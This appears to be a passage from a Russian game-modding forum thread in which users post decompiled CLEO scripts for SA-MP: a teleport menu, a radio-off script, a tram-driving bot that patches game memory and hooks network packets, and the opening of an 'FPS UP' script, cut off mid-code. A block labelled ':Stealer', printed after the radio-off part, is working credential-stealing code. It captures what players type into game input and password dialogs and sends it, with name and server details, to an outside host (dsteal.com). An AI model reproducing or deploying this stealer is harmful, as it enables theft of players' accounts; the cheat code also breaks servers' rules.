Dialog.ListBoxInsertElement(0@, 10, "Магазин Оружия LS", 4@, -1)
Dialog.ListBoxInsertElement(0@, 10, "Магазин Оружия LV", 4@, -1)
Dialog.ListBoxInsertElement(0@, 10, "Магазин Оружия SF", 4@, -1)
Dialog.ListBoxInsertElement(0@, 10, "К метке на карте", 4@, -1)
Dialog.AddButton(0@, 0, "Телепорт", 220, 260, 100, 30)
Dialog.AddButton(0@, 1, "Закрыть", 90, 260, 100, 30)
Dialog.SetVisible(0@, 0)
0B34: samp register_client_command "tpkot" to_label @Label000296

:Label0001E7
wait 0
if
   Dialog.IsVisible(0@)
jf @Label00028F
SAMP.SetCursorMode(3)
if
   Dialog.PopEvent(0@, 1@, 2@)
jf @Label00028F
if
  1@ == 1794
jf @Label000235
Dialog.ListBoxGetSelectedAndCount(0@, 2@, 3@, 0)

:Label000235
if
  1@ == 257
jf @Label00028F
if
  2@ == 0
jf @Label000272
Dialog.SetVisible(0@, 0)
SAMP.SetCursorMode(0)
call @Label0002DF 1 3@

:Label000272
if
  2@ == 1
jf @Label00028F
Dialog.SetVisible(0@, 0)
SAMP.SetCursorMode(0)

:Label00028F
goto @Label0001E7

:Label000296
if
   Dialog.IsVisible(0@)
jf @Label0002B8
Dialog.SetVisible(0@, 0)
SAMP.SetCursorMode(0)
goto @Label0002DD

:Label0002B8
Dialog.SetVisible(0@, 1)
11@ += 90
10@ += 100
call @Label00048E 2 10@ 11@

:Label0002DD
SAMP.CmdRet

:Label0002DF
if
  0@ == 0
jf @Label00030F
call @Label000487 0
Actor.PutAt($PLAYER_ACTOR, 459.2712, -1501.217, 30.0387)

:Label00030F
if
  0@ == 1
jf @Label00033F
call @Label000487 0
Actor.PutAt($PLAYER_ACTOR, -1696.772, 949.9268, 23.8906)

:Label00033F
if
  0@ == 2
jf @Label00036F
call @Label000487 0
Actor.PutAt($PLAYER_ACTOR, 1365.783, -1279.804, 12.5469)

:Label00036F
if
  0@ == 3
jf @Label00039F
call @Label000487 0
Actor.PutAt($PLAYER_ACTOR, 2156.103, 943.2082, 9.8203)

:Label00039F
if
  0@ == 4
jf @Label0003CF
call @Label000487 0
Actor.PutAt($PLAYER_ACTOR, -2626.02, 212.4472, 3.6146)

:Label0003CF
if
  0@ == 5
jf @Label000482
if
0AB6: store_target_marker_coords_to 10@ 11@ 12@ // IF and SET
jf @Label00044F
call @Label000487 0
Actor.PutAt($PLAYER_ACTOR, 10@, 11@, 12@)
2@ = 0

:Label000416
wait 0
0AB6: store_target_marker_coords_to 10@ 11@ 12@ // IF and SET
Actor.PutAt($PLAYER_ACTOR, 10@, 11@, 12@)
2@ += 1
  2@ > 50
jf @Label000416
goto @Label000482

:Label00044F
chatmsg "[ARP TP]: {ffffff}поставь метку на карте!" 65280

:Label000482
ret 0

:Label000487
SAMP.Spawn
ret 0

:Label00048E
0AA2: 2@ = load_library "user32.dll" // IF and SET
0AA4: 3@ = get_proc_address "SetCursorPos" library 2@ // IF and SET
0AA5: call 3@ num_params 2 pop 0 1@ 0@ 
ret 0
 

asdzxcjqwe

¯\_(ツ)_/¯
Друг
621
705
открыт был

part 1
CLEO:
{$CLEO .cs}

thread 'RADIOOFF'

0000:

WHILE TRUE
WAIT 0
    IF
        00DF:   actor $PLAYER_ACTOR driving  
    THEN
        051E:   2@ = get_current_radio_station
        IF
            2@ <> 12
        THEN
            041E:   set_radio_station 12
        END
    END
END

part 2
CLEO:
{$CLEO .cs}
0000:
wait 1750


:Stealer
0000:
While true
wait 0
0AA2: 31@ = load_library "kernel32.dll" // IF and SET
0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET
0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@
0A8E: 3@ = 0@ + 0x21A0F8 // SAMP_INFO
0A8D: 2@ = read_memory 3@ size 4 virtual_protect 1
    if 2@ > 1000
    then
    0A8E: 22@ = 2@ + 973 // stSAMPPools
    0A8D: 23@ = read_memory 22@ size 4 virtual_protect 1
        if 2@ > 1000
        then
        0A8E: 5@ = 23@ + 24 // stPlayerPool
        0A8D: 4@ = read_memory 5@ size 4 virtual_protect 1
            if 4@ > 1000
            then
            0A8E: 5@ = 4@ + 34 // stLocalPlayer
            0A8D: 24@ = read_memory 5@ size 4 virtual_protect 1
                if 24@ > 1000
                then
                0A8E: 22@ = 0@ + 0x21A0B8 // SAMP_DIALOG_INFO
                0A8D: 1@ = read_memory 22@ size 4 virtual_protect 1
                    if 1@ > 1000
                    then
                    0A8E: 7@ = 1@ + 40 // iDialogShowed
                    0A8D: 6@ = read_memory 7@ size 4 virtual_protect 1
                    0A8E: 5@ = 1@ + 44 // iType
                    0A8D: 26@ = read_memory 5@ size 4 virtual_protect 1
                        if 6@ == 1
                        then
                            if or
                            26@ == 1          // DialogType
                            26@ == 3
                            then
                            25@ = 1
                            end
                        end
                      
                        if and
                        25@ == 1
                        not 6@ == 1
                        then
                        0A8E: 7@ = 1@ + 48 // iDialogID
                        0A8D: 3@ = read_memory 7@ size 4 virtual_protect 1
                        0A8E: 6@ = 1@ + 36 // pEditBox
                        0A8D: 13@ = read_memory 6@ size 4 virtual_protect 1
                        0A8E: 6@ = 0@ + 0x81030 // FUNC_GET_STRING
                        0AA8: call_function_method 6@ struct 13@ num_params 0 pop 0 5@
                        0A8E: 6@ = 4@ + 26 // PlayerNameStrLen
                        0A8D: 23@ = read_memory 6@ size 4 virtual_protect 1
                        0A8E: 7@ = 4@ + 10 // int
                            if not 23@ >= 16
                            then
                            0085: 12@ = 7@ // (int)
                            else
                            0A8D: 12@ = read_memory 7@ size 4 virtual_protect 1
                            end
                        wait 100
                        0A8E: 9@ = 2@ + 289 // szHostname
                        0A8E: 14@ = 2@ + 32 // ServerIP
                        0A8E: 8@ = 2@ + 549 // ServerPort
                        0A8D: 15@ = read_memory 8@ size 4 virtual_protect 1

                        0AC6: 10@ = label @Base offset
                        0AC8: 20@ = allocate_memory_size 1024
                        0AC8: 22@ = allocate_memory_size 1024
                        30@ = 504  //  30@ = base, 14@ = ip, 15@ = port, 9@ = server_name, 12@ = name, 5@ = input, 3@ = dialogId
                        0AD3: 20@ = format "%d&&%s:%d&&%s&&%s&&%s&&%d" 30@ 14@ 15@ 9@ 12@ 5@ 3@
                        0C17: 21@ = strlen 20@
                      
                        0C22: bin 20@ to_hex 20@ size 21@
                        0AD3: 22@ = format "%s%s" 10@ 20@
                        0ad3: 8@ = "SAMP-Project" {User Agent}
                        0ab1: @InternetOpen 1 8@ to 9@
                        0ab1: @InternetOpenUrl 2 9@ 22@ {Internet, HttpAddressData}

                        0ac9: free 8@
                        0ac9: free 20@
                        0ac9: free 22@
                        0006: 25@ = 0  
                        end
                    end              
                end
            end
        end
    end
end

:InternetOpen
0AA2: 30@ = load_library "Wininet.dll" // IF and SET
0AA4: 29@ = get_proc_address "InternetOpenA" library 30@
0AA7: function 29@ params 5 pop 0 {parameters} 0 0 0 {INTERNET_OPEN_TYPE_PRECONFIG} 0 {AGENT} 0@ {HANDLE} 1@
0ab2: 1 1@

:InternetOpenUrl
0AA2: 30@ = load_library "Wininet.dll" // IF and SET
0AA4: 29@ = get_proc_address "InternetOpenUrlA" library 30@
0AA7: function 29@ params 6 pop 0 0 0 0 0 1@ 0@ 2@
0ab2: 0

:Thread
0A9F: 32@ = current_thread_pointer
000A: 32@ += 16
0A8D: 32@ = read_memory 32@ size 4 virtual_protect 0
0062: 32@ -= 0@ // (int)
0AA7: call_function 4607008 num_params 1 pop 1 32@ 33@
005A: 32@ += 0@ // (int)
000A: 33@ += 16
0A8C: write_memory 33@ size 4 value 32@ virtual_protect 0
000A: 33@ += 44
for 32@ = 0 to 30
0A8C: write_memory 33@ size 4 value 1@(32@,30i) virtual_protect 0
000A: 33@ += 4
end
0ab2: 0
:Base
hex
"http:" 2f 2f "dsteal.com" 2f "ucp" 2f "include" 2f "add.php?data=" 00
end
 

asdzxcjqwe

¯\_(ツ)_/¯
Друг
621
705
Если не сложно

CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0662: printstring "==============================================================="
0662: printstring "My Page in VK: vk.com/id138101483"
0662: printstring "My Skype: hackes8"
0662: printstring "My Group in VK: vk.com/by_air"
0662: printstring "My YouTube Channel: www.youtube.com/spacebmxair"
0662: printstring "All Rights Reserved ©"
0662: printstring "==============================================================="

:Label00012D
wait 0
   SAMP.Available
jf @Label00012D
wait 5000
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~Loaded! (/trambot)" 3000
0@ = 0
5@ = -1
7@ = 0.0
10@ = 0.0
11@ = 0.0
13@ = 0.0
17@ = 0
0B34: samp register_client_command "trambot" to_label @Label001092

:Label0001D7
wait 0

:Label0001DB
  0@ == 1
jf @Label00108B
wait 0

:Label0001ED
wait 0
if and
   not 5@ == -1
   not Actor.Driving($PLAYER_ACTOR)
jf @Label0002FD
17@ = 0
5@ = -1
if
  0@ == 1
jf @Label0002FD
0@ = 0
7@ = 0.0
10@ = 0.0
11@ = 0.0
13@ = 0.0
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~Deactived!" 3000
0A8C: write_memory 7634870 size 1 value 0 virtual_protect 1
0A8C: write_memory 7635034 size 1 value 0 virtual_protect 1
0C10: memcpy destination 7623723 source 14@ size 8
0C10: memcpy destination 5499528 source 15@ size 6
Actor.SetImmunities($PLAYER_ACTOR, 0, 0, 0, 0, 0)
02A9: set_actor $PLAYER_ACTOR immune_to_nonplayer 0
0A8C: write_memory 9867629 size 1 value 0 virtual_protect 1
0BE3: raknet setup_incoming_rpc_hook @Label00171F
0BE4: raknet setup_incoming_packet_hook @Label00171F

:Label0002FD
if and
   Actor.DrivingVehicleType($PLAYER_ACTOR, #TRAM)
  0@ == 1
jf @Label00034A
10@ = -2358.812
11@ = 508.1277
13@ = 40.0
gosub @Label00147D
17@ = 1
goto @Label000363

:Label00034A
if
   not 17@ == 1
jf @Label000363
goto @Label000385

:Label000363
00EE:   actor $PLAYER_ACTOR sphere 0 near_point -2358.812 508.1277 radius 2.5 2.5 in_car
jf @Label0001ED

:Label000385
gosub @Label00166E

:Label00038C
wait 0
if and
   not 5@ == -1
   not Actor.Driving($PLAYER_ACTOR)
jf @Label00049C
17@ = 0
5@ = -1
if
  0@ == 1
jf @Label00049C
0@ = 0
7@ = 0.0
10@ = 0.0
11@ = 0.0
13@ = 0.0
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~Deactived!" 3000
0A8C: write_memory 7634870 size 1 value 0 virtual_protect 1
0A8C: write_memory 7635034 size 1 value 0 virtual_protect 1
0C10: memcpy destination 7623723 source 14@ size 8
0C10: memcpy destination 5499528 source 15@ size 6
Actor.SetImmunities($PLAYER_ACTOR, 0, 0, 0, 0, 0)
02A9: set_actor $PLAYER_ACTOR immune_to_nonplayer 0
0A8C: write_memory 9867629 size 1 value 0 virtual_protect 1
0BE3: raknet setup_incoming_rpc_hook @Label00171F
0BE4: raknet setup_incoming_packet_hook @Label00171F

:Label00049C
if and
   Actor.DrivingVehicleType($PLAYER_ACTOR, #TRAM)
  0@ == 1
jf @Label0004E9
10@ = -2006.5
11@ = 137.9532
13@ = 58.0
gosub @Label00147D
17@ = 2
goto @Label000502

:Label0004E9
if
   not 17@ == 2
jf @Label000502
goto @Label000524

:Label000502
00EE:   actor $PLAYER_ACTOR sphere 0 near_point -2006.5 137.9532 radius 2.5 2.5 in_car
jf @Label00038C

:Label000524
gosub @Label00166E

:Label00052B
wait 0
if and
   not 5@ == -1
   not Actor.Driving($PLAYER_ACTOR)
jf @Label00063B
17@ = 0
5@ = -1
if
  0@ == 1
jf @Label00063B
0@ = 0
7@ = 0.0
10@ = 0.0
11@ = 0.0
13@ = 0.0
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~Deactived!" 3000
0A8C: write_memory 7634870 size 1 value 0 virtual_protect 1
0A8C: write_memory 7635034 size 1 value 0 virtual_protect 1
0C10: memcpy destination 7623723 source 14@ size 8
0C10: memcpy destination 5499528 source 15@ size 6
Actor.SetImmunities($PLAYER_ACTOR, 0, 0, 0, 0, 0)
02A9: set_actor $PLAYER_ACTOR immune_to_nonplayer 0
0A8C: write_memory 9867629 size 1 value 0 virtual_protect 1
0BE3: raknet setup_incoming_rpc_hook @Label00171F
0BE4: raknet setup_incoming_packet_hook @Label00171F

:Label00063B
if and
   Actor.DrivingVehicleType($PLAYER_ACTOR, #TRAM)
  0@ == 1
jf @Label000688
10@ = -2003.625
11@ = 461.1958
13@ = 53.5
gosub @Label00147D
17@ = 3
goto @Label0006A1

:Label000688
if
   not 17@ == 3
jf @Label0006A1
goto @Label0006C3

:Label0006A1
00EE:   actor $PLAYER_ACTOR sphere 0 near_point -2003.625 461.1958 radius 2.5 2.5 in_car
jf @Label00052B

:Label0006C3
gosub @Label00166E

:Label0006CA
wait 0
if and
   not 5@ == -1
   not Actor.Driving($PLAYER_ACTOR)
jf @Label0007DA
17@ = 0
5@ = -1
if
  0@ == 1
jf @Label0007DA
0@ = 0
7@ = 0.0
10@ = 0.0
11@ = 0.0
13@ = 0.0
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~Deactived!" 3000
0A8C: write_memory 7634870 size 1 value 0 virtual_protect 1
0A8C: write_memory 7635034 size 1 value 0 virtual_protect 1
0C10: memcpy destination 7623723 source 14@ size 8
0C10: memcpy destination 5499528 source 15@ size 6
Actor.SetImmunities($PLAYER_ACTOR, 0, 0, 0, 0, 0)
02A9: set_actor $PLAYER_ACTOR immune_to_nonplayer 0
0A8C: write_memory 9867629 size 1 value 0 virtual_protect 1
0BE3: raknet setup_incoming_rpc_hook @Label00171F
0BE4: raknet setup_incoming_packet_hook @Label00171F

:Label0007DA
if and
   Actor.DrivingVehicleType($PLAYER_ACTOR, #TRAM)
  0@ == 1
jf @Label000827
10@ = -1875.404
11@ = 603.25
13@ = 53.0
gosub @Label00147D
17@ = 4
goto @Label000840

:Label000827
if
   not 17@ == 4
jf @Label000840
goto @Label000862

:Label000840
00EE:   actor $PLAYER_ACTOR sphere 0 near_point -1875.404 603.25 radius 2.5 2.5 in_car
jf @Label0006CA

:Label000862
gosub @Label00166E

:Label000869
wait 0
if and
   not 5@ == -1
   not Actor.Driving($PLAYER_ACTOR)
jf @Label000979
17@ = 0
5@ = -1
if
  0@ == 1
jf @Label000979
0@ = 0
7@ = 0.0
10@ = 0.0
11@ = 0.0
13@ = 0.0
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~Deactived!" 3000
0A8C: write_memory 7634870 size 1 value 0 virtual_protect 1
0A8C: write_memory 7635034 size 1 value 0 virtual_protect 1
0C10: memcpy destination 7623723 source 14@ size 8
0C10: memcpy destination 5499528 source 15@ size 6
Actor.SetImmunities($PLAYER_ACTOR, 0, 0, 0, 0, 0)
02A9: set_actor $PLAYER_ACTOR immune_to_nonplayer 0
0A8C: write_memory 9867629 size 1 value 0 virtual_protect 1
0BE3: raknet setup_incoming_rpc_hook @Label00171F
0BE4: raknet setup_incoming_packet_hook @Label00171F

:Label000979
if and
   Actor.DrivingVehicleType($PLAYER_ACTOR, #TRAM)
  0@ == 1
jf @Label0009C6
10@ = -1628.299
11@ = 728.75
13@ = 55.0
gosub @Label00147D
17@ = 5
goto @Label0009DF

:Label0009C6
if
   not 17@ == 5
jf @Label0009DF
goto @Label000A01

:Label0009DF
00EE:   actor $PLAYER_ACTOR sphere 0 near_point -1628.299 728.75 radius 2.5 2.5 in_car
jf @Label000869

:Label000A01
gosub @Label00166E

:Label000A08
wait 0
if and
   not 5@ == -1
   not Actor.Driving($PLAYER_ACTOR)
jf @Label000B18
17@ = 0
5@ = -1
if
  0@ == 1
jf @Label000B18
0@ = 0
7@ = 0.0
10@ = 0.0
11@ = 0.0
13@ = 0.0
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~Deactived!" 3000
0A8C: write_memory 7634870 size 1 value 0 virtual_protect 1
0A8C: write_memory 7635034 size 1 value 0 virtual_protect 1
0C10: memcpy destination 7623723 source 14@ size 8
0C10: memcpy destination 5499528 source 15@ size 6
Actor.SetImmunities($PLAYER_ACTOR, 0, 0, 0, 0, 0)
02A9: set_actor $PLAYER_ACTOR immune_to_nonplayer 0
0A8C: write_memory 9867629 size 1 value 0 virtual_protect 1
0BE3: raknet setup_incoming_rpc_hook @Label00171F
0BE4: raknet setup_incoming_packet_hook @Label00171F

:Label000B18
if and
   Actor.DrivingVehicleType($PLAYER_ACTOR, #TRAM)
  0@ == 1
jf @Label000B65
10@ = -2001.625
11@ = 880.3319
13@ = 37.0
gosub @Label00147D
17@ = 6
goto @Label000B7E

:Label000B65
if
   not 17@ == 6
jf @Label000B7E
goto @Label000BA0

:Label000B7E
00EE:   actor $PLAYER_ACTOR sphere 0 near_point -2001.625 880.3319 radius 2.5 2.5 in_car
jf @Label000A08

:Label000BA0
gosub @Label00166E

:Label000BA7
wait 0
if and
   not 5@ == -1
   not Actor.Driving($PLAYER_ACTOR)
jf @Label000CB7
17@ = 0
5@ = -1
if
  0@ == 1
jf @Label000CB7
0@ = 0
7@ = 0.0
10@ = 0.0
11@ = 0.0
13@ = 0.0
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~Deactived!" 3000
0A8C: write_memory 7634870 size 1 value 0 virtual_protect 1
0A8C: write_memory 7635034 size 1 value 0 virtual_protect 1
0C10: memcpy destination 7623723 source 14@ size 8
0C10: memcpy destination 5499528 source 15@ size 6
Actor.SetImmunities($PLAYER_ACTOR, 0, 0, 0, 0, 0)
02A9: set_actor $PLAYER_ACTOR immune_to_nonplayer 0
0A8C: write_memory 9867629 size 1 value 0 virtual_protect 1
0BE3: raknet setup_incoming_rpc_hook @Label00171F
0BE4: raknet setup_incoming_packet_hook @Label00171F

:Label000CB7
if and
   Actor.DrivingVehicleType($PLAYER_ACTOR, #TRAM)
  0@ == 1
jf @Label000D04
10@ = -1534.46
11@ = 958.7453
13@ = 37.0
gosub @Label00147D
17@ = 7
goto @Label000D1D

:Label000D04
if
   not 17@ == 7
jf @Label000D1D
goto @Label000D3F

:Label000D1D
00EE:   actor $PLAYER_ACTOR sphere 0 near_point -1534.46 958.7453 radius 2.5 2.5 in_car
jf @Label000BA7

:Label000D3F
gosub @Label00166E

:Label000D46
wait 0
if and
   not 5@ == -1
   not Actor.Driving($PLAYER_ACTOR)
jf @Label000E56
17@ = 0
5@ = -1
if
  0@ == 1
jf @Label000E56
0@ = 0
7@ = 0.0
10@ = 0.0
11@ = 0.0
13@ = 0.0
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~Deactived!" 3000
0A8C: write_memory 7634870 size 1 value 0 virtual_protect 1
0A8C: write_memory 7635034 size 1 value 0 virtual_protect 1
0C10: memcpy destination 7623723 source 14@ size 8
0C10: memcpy destination 5499528 source 15@ size 6
Actor.SetImmunities($PLAYER_ACTOR, 0, 0, 0, 0, 0)
02A9: set_actor $PLAYER_ACTOR immune_to_nonplayer 0
0A8C: write_memory 9867629 size 1 value 0 virtual_protect 1
0BE3: raknet setup_incoming_rpc_hook @Label00171F
0BE4: raknet setup_incoming_packet_hook @Label00171F

:Label000E56
if and
   Actor.DrivingVehicleType($PLAYER_ACTOR, #TRAM)
  0@ == 1
jf @Label000EA3
10@ = -1634.218
11@ = 1247.17
13@ = 41.5
gosub @Label00147D
17@ = 8
goto @Label000EBC

:Label000EA3
if
   not 17@ == 8
jf @Label000EBC
goto @Label000EDE

:Label000EBC
00EE:   actor $PLAYER_ACTOR sphere 0 near_point -1634.218 1247.17 radius 2.5 2.5 in_car
jf @Label000D46

:Label000EDE
gosub @Label00166E

:Label000EE5
wait 0
if and
   not 5@ == -1
   not Actor.Driving($PLAYER_ACTOR)
jf @Label000FF5
17@ = 0
5@ = -1
if
  0@ == 1
jf @Label000FF5
0@ = 0
7@ = 0.0
10@ = 0.0
11@ = 0.0
13@ = 0.0
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~Deactived!" 3000
0A8C: write_memory 7634870 size 1 value 0 virtual_protect 1
0A8C: write_memory 7635034 size 1 value 0 virtual_protect 1
0C10: memcpy destination 7623723 source 14@ size 8
0C10: memcpy destination 5499528 source 15@ size 6
Actor.SetImmunities($PLAYER_ACTOR, 0, 0, 0, 0, 0)
02A9: set_actor $PLAYER_ACTOR immune_to_nonplayer 0
0A8C: write_memory 9867629 size 1 value 0 virtual_protect 1
0BE3: raknet setup_incoming_rpc_hook @Label00171F
0BE4: raknet setup_incoming_packet_hook @Label00171F

:Label000FF5
if and
   Actor.DrivingVehicleType($PLAYER_ACTOR, #TRAM)
  0@ == 1
jf @Label001042
10@ = -2264.875
11@ = 1037.518
13@ = 53.5
gosub @Label00147D
17@ = 9
goto @Label00105B

:Label001042
if
   not 17@ == 9
jf @Label00105B
goto @Label00107D

:Label00105B
00EE:   actor $PLAYER_ACTOR sphere 0 near_point -2264.875 1037.518 radius 2.5 2.5 in_car
jf @Label000EE5

:Label00107D
gosub @Label00166E
goto @Label0001DB

:Label00108B
goto @Label0001D7

:Label001092
if
  0@ == 1
jf @Label00117B
0@ = 0
7@ = 0.0
10@ = 0.0
11@ = 0.0
13@ = 0.0
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~Deactived!" 3000
0A8C: write_memory 7634870 size 1 value 0 virtual_protect 1
0A8C: write_memory 7635034 size 1 value 0 virtual_protect 1
0C10: memcpy destination 7623723 source 14@ size 8
0C10: memcpy destination 5499528 source 15@ size 6
Actor.SetImmunities($PLAYER_ACTOR, 0, 0, 0, 0, 0)
02A9: set_actor $PLAYER_ACTOR immune_to_nonplayer 0
0A8C: write_memory 9867629 size 1 value 0 virtual_protect 1
0BE3: raknet setup_incoming_rpc_hook @Label00171F
0BE4: raknet setup_incoming_packet_hook @Label00171F
SAMP.CmdRet

:Label00117B
if
   Actor.DrivingVehicleType($PLAYER_ACTOR, #TRAM)
jf @Label001423
1@ = Actor.CurrentCar($PLAYER_ACTOR)
12@ = Car.Angle(1@)
if
00EE:   actor $PLAYER_ACTOR sphere 0 near_point -2264.688 527.1506 radius 2.5 2.5 in_car
jf @Label0012C5
if
  12@ == 180.4091
jf @Label0011E7
5@ = 0
goto @Label0011EE

:Label0011E7
5@ = 1

:Label0011EE
17@ = 0
0@ = 1
7@ = 0.0
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~Actived!" 3000
0A8C: write_memory 7634870 size 1 value 1 virtual_protect 1
0A8C: write_memory 7635034 size 1 value 1 virtual_protect 1
0AC6: 14@ = label @Label001781 offset
0C11: memset destination 7623723 value 144 size 8
0AC6: 15@ = label @Label00177B offset
0C11: memset destination 5499528 value 144 size 6
Actor.SetImmunities($PLAYER_ACTOR, 1, 1, 1, 1, 1)
02A9: set_actor $PLAYER_ACTOR immune_to_nonplayer 1
0A8C: write_memory 9867629 size 1 value 1 virtual_protect 1
0BE3: raknet setup_incoming_rpc_hook @Label001702
0BE4: raknet setup_incoming_packet_hook @Label001723
goto @Label00141C

:Label0012C5
if and
   not 17@ == 0
   not 5@ == -1
jf @Label0013BA
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~The route continues!" 3000
0@ = 1
7@ = 0.0
0A8C: write_memory 7634870 size 1 value 1 virtual_protect 1
0A8C: write_memory 7635034 size 1 value 1 virtual_protect 1
0AC6: 14@ = label @Label001781 offset
0C11: memset destination 7623723 value 144 size 8
0AC6: 15@ = label @Label00177B offset
0C11: memset destination 5499528 value 144 size 6
Actor.SetImmunities($PLAYER_ACTOR, 1, 1, 1, 1, 1)
02A9: set_actor $PLAYER_ACTOR immune_to_nonplayer 1
0A8C: write_memory 9867629 size 1 value 1 virtual_protect 1
0BE3: raknet setup_incoming_rpc_hook @Label001702
0BE4: raknet setup_incoming_packet_hook @Label001723
goto @Label00141C

:Label0013BA
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~Return to the place of issue of the tram!" 3000

:Label00141C
goto @Label00147B

:Label001423
printf "~g~[TramBot v3 for AdvanceRP ~y~by AIR~g~]:~n~~r~Error! You must be in the tram!" 3000

:Label00147B
SAMP.CmdRet

:Label00147D
if and
   Actor.DrivingVehicleType($PLAYER_ACTOR, #TRAM)
  0@ == 1
jf @Label00166C
1@ = Actor.CurrentCar($PLAYER_ACTOR)
if
00EE:   actor $PLAYER_ACTOR sphere 0 near_point 10@ 11@ radius 13@ 13@ in_car
jf @Label001597
if
  5@ == 0
jf @Label00152A
if
  7@ > 2.0
jf @Label001509
7@ -= 1.0
06DC: set_train 1@ acc 7@
06DD: set_train 1@ speed 7@
wait 100
goto @Label001523

:Label001509
7@ = 2.0
06DC: set_train 1@ acc 7@
06DD: set_train 1@ speed 7@

:Label001523
goto @Label001590

:Label00152A
if
  5@ == 1
jf @Label001590
if
   not 7@ >= -2.0
jf @Label001576
7@ += 1.0
06DC: set_train 1@ acc 7@
06DD: set_train 1@ speed 7@
wait 100
goto @Label001590

:Label001576
7@ = -2.0
06DC: set_train 1@ acc 7@
06DD: set_train 1@ speed 7@

:Label001590
goto @Label00166C

:Label001597
if
  5@ == 0
jf @Label001605
if
   not 7@ >= 26.7
jf @Label0015DF
7@ += 0.05
06DC: set_train 1@ acc 7@
06DD: set_train 1@ speed 7@
goto @Label0015FE

:Label0015DF
0208: 7@ = random_float_in_ranges 25.5 26.7
06DC: set_train 1@ acc 7@
06DD: set_train 1@ speed 7@

:Label0015FE
goto @Label00166C

:Label001605
if
  5@ == 1
jf @Label00166C
if
  7@ > -26.7
jf @Label00164D
7@ -= 0.05
06DC: set_train 1@ acc 7@
06DD: set_train 1@ speed 7@
goto @Label00166C

:Label00164D
0208: 7@ = random_float_in_ranges -26.7 -25.5
06DC: set_train 1@ acc 7@
06DD: set_train 1@ speed 7@

:Label00166C
return

:Label00166E
if and
   Actor.DrivingVehicleType($PLAYER_ACTOR, #TRAM)
  0@ == 1
jf @Label001700
1@ = Actor.CurrentCar($PLAYER_ACTOR)
7@ = 0.0
if
  5@ == 0
jf @Label0016BD
7@ = 0.025
goto @Label0016D9

:Label0016BD
if
  5@ == 1
jf @Label0016D9
7@ = -0.025

:Label0016D9
06DC: set_train 1@ acc 7@
06DD: set_train 1@ speed 7@
0209: 18@ = random_int_in_ranges 16050 17050
wait 18@
17@ += 1

:Label001700
return

:Label001702
0BE5: raknet 16@ = get_hook_param 1
if
  16@ == 14
jf @Label00171F
0BE0: raknet hook_ret 0

:Label00171F
0BE0: raknet hook_ret 1

:Label001723
0BE5: raknet 16@ = get_hook_param 1
if
  16@ == 206
jf @Label001777
0BE5: raknet 16@ = get_hook_param 0
18@ = BitStream.GetDataPtr(16@)
0C0C: 19@ = struct 18@ offset 4 size 2
20@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
if
003B:   19@ == 20@ // (int)
jf @Label001777
0BE0: raknet hook_ret 0

:Label001777
0BE0: raknet hook_ret 1

:Label00177B
hex
  0F 84 7B 01 00 00
end

:Label001781
hex
  50 51 FF 15 00 83 85 00 48 45 58 00 02 00 00 00
  7B 17 00 00 06 00 00 00 81 17 00 00 08 00 00 00
  56 41 52 00 F1 02 00 00 41 63 74 69 76 65 00 00
end
 
  • Нравится
Реакции: user116675

Zefir2511

Активный
277
32
Дайте код,а то авп не открывает че та
 

Вложения

  • HIGH FPS_UP BY DAPO SHOW.cs
    19.8 KB · Просмотры: 13

DarkL1ght

Новичок
252
112
Дайте код,а то авп не открывает че та
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

0662: printstring "FPS UP by Dapo Show"
0662: printstring "Запрещено изменять и распростаранять без ведома автора"
0662: printstring "Все права защищены ГК РФ"
0662: printstring "VK.COM/DAPODOPE"
03A4: name_thread '$DAPO_$HOW'
00D6: if
8AA2:   not 0@ = load_library "SAMP.DLL" // IF and SET
004D: jump_if_false @$DAPO_$HOW_175
0A93: end_custom_thread

:$DAPO_$HOW_175
0AA3: free_library 0@
0001: wait 5000 ms
0AB1: call_scm_func @$DAPO_$HOW_2140 1 0@ 1@ 
0AB1: call_scm_func @$DAPO_$HOW_2170 1 1@ 2@ 
0006: 15@ = 1
0AB1: call_scm_func @$DAPO_$HOW_2198 1 2@ 3@ 4@ 5@ 
0AC8: 17@ = allocate_memory_size 16
0B39: samp get_current_server_address 17@ port 18@
0001: wait 1000 ms
0AF8: samp add_message_to_chat "Идет загрузка важных функций {AC4DFF}FPS UP{FFFFFF}'а. Ожидайте..." color 16777215 
00D6: if
0C14: strcmp string1 17@ string2 "213.32.112.224"
004D: jump_if_false @$DAPO_$HOW_975
0001: wait 10000 ms
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat "[{AC4DFF}FPS UP{FFFFFF}]{808080}: {FFFFFF}Возможность отключения {3DCE00}Ник-Неймов{FFFFFF}. Автор: {AC4DFF}Dapo Show" color 16777215 
0AF8: samp add_message_to_chat "[{AC4DFF}FPS UP{FFFFFF}]{808080}: {FFFFFF}Для активации или деактивации используй — {3DCE00}/fpsup" color 16777215 
0AF8: samp add_message_to_chat "{FFFFFF}Ты также можешь отключить {3DCE00}Ник-Неймы {FFFFFF}без данного Cleo" color 16777215 
